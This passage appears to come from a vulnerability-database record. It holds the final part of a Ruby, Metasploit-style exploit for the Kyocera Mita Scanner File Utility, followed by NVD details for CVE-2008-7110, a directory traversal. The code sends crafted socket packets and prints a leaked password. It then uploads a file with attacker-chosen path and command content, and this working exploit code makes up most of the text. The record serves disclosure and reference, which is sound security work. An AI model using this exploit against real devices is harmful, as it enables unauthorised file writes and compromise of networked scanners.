+\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n\t\r\n\t\r\n\tsock.put(buf)\r\n\tnulls=\"\\x00\\x00\"\r\n\tpassTest=\"\\xFF\\xFF\"\r\n\tdata=sock.get\r\n\tdataStr=data.to_s\r\n\t\r\n\t#print_status(nulls)\r\n\t#print_status(dataStr[dataStr.length-6,2])\r\n\r\n\tif dataStr[dataStr.length-6,2] != nulls\r\n\t\tprint_status(\"Invalid account number - use getidno command to find valid idno\")\t\r\n\tend\r\n\tif dataStr[dataStr.length-2,2] != passTest\r\n\t\tprint_status(\"BONUS! Password! (last four or 8 characters of string)\" )\r\n\t\tj=0\r\n\t\twhile j<12\r\n \t\tprintf(\"%X\",data[j])\r\n \t\t\tj+=1\r\n\t\tend\r\n\t\tprint(\"\\n\")\r\n\tend\r\n\r\n\tbuf = \"\\x00\\x54\" +\t\t\t\t#details about file name \r\n\t\"\\x30\" +\t\t\t\t\t#location size (must be x30)\r\n\t\"\\x01\" +\t\t\t\t\t#can be altered to include folder and file\r\n\t\"\\x00\\x05\\x00\\x00\" +\r\n\t\"\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x24\" +\r\n\tfolder + filename\r\n\t\r\n\tpadding = 48-locationLength\r\n\tj=0\r\n\twhile j<padding\r\n \tbuf += \"\\x00\"\r\n \t\tj+=1\r\n\tend\r\n\t\r\n\r\n\t#\"\\x4b\\x79\\x6f\\x63\\x65\\x72\\x61\\x2e\\x62\\x61\\x74\" +\r\n\t#\"\\x00\\x00\\x00\"\r\n\r\n\r\n\t#add command length\r\n\tthecommand = datastore['CMD']\r\n\tcmdLen = thecommand.length\r\n\tbuf += [cmdLen].pack('N')\r\n\t\r\n\t#add command\r\n\tbuf << thecommand\r\n\t\r\n\tj=0\r\n\r\n\t#put file\r\n\tsock.put(buf)\t\t\t\t\r\n\r\n\tbuf = \"\\x00\\x04\\x30\\x02\\x00\\x00\"\r\n\r\n\r\n\t\r\n\tsock.put(buf)\t\t\t\t\r\n\t\r\n\tbuf=\"\\x00\\x04\\x30\\x05\\x53\\xdc\"\t\r\n\r\n\tsock.put(buf)\r\n\tsock.get\r\n\t\r\n\tbuf=\"\\x00\\x04\\x30\\x03\\x00\\x00\"\r\n\r\n\tsock.put(buf)\r\n\tsock.get\r\n\r\n\tend\r\nend\r\nend\r\nend", "osvdbidlist": ["48333"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-05-29T18:09:30", "bulletinFamily": "NVD", "description": "Directory traversal vulnerability in the Scanner File Utility (aka listener) in Kyocera Mita (KM) 3.3.0.1 allows remote attackers to upload files to arbitrary locations via a .. (dot dot) in a request.", "modified": "2018-10-11T20:58:00", "id": "CVE-2008-7110", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7110", "published": "2009-08-28T15:30:00", "title": "CVE-2008-7110", "type": "cve", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:C/A:N"}}]}